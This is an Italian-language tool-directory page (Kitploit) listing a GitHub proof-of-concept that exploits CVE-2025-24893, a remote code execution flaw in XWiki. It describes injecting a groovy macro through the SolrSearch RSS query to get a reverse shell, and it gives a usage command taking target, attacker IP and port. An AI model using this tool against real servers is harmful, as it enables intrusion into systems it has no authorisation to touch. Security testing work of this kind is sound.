Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-24893-Reverse-Shell — Reverse Shell Payload per CVE-2025-24893 | Kitploit
Strumenti/GitHubGitHub/azureadtrent/cve-2025-24893-reverse-shell
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso RemotoSviluppo Payload
GitHubazureadtrent/cve-2025-24893-reverse-shell

CVE-2025-24893-Reverse-Shell

Reverse Shell Payload per CVE-2025-24893

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1 anno faNon ancora revisionato

CVE-2025-24893 - Exploit di Esecuzione di Codice Remoto in XWiki

PoC per CVE-2025-24893 – Esecuzione di Codice Remoto tramite Macro <groovy> in XWiki
Ispirato dal PoC originale di Artemir

Descrizione

Questo è un exploit Proof-of-Concept (PoC) per CVE-2025-24893, una vulnerabilità di Esecuzione di Codice Remoto (RCE) nelle versioni vulnerabili di XWiki.

Il difetto risiede nella sanitizzazione inadeguata dell'input utente all'interno dell'endpoint SolrSearch, che è vulnerabile all'iniezione della macro <groovy> non sandboxed tramite una query RSS.

Questo script inietta un payload Groovy utilizzando la macro async che porta all'esecuzione di comandi sul server, consentendo a un attaccante di attivare una reverse shell verso il proprio sistema.

Utilizzo

root@kitploit:~
python3 CVE-2025-24893-reverse-shell.py -u <target_url> -i <attacker_ip> -p <attacker_port>
Scarica lo strumento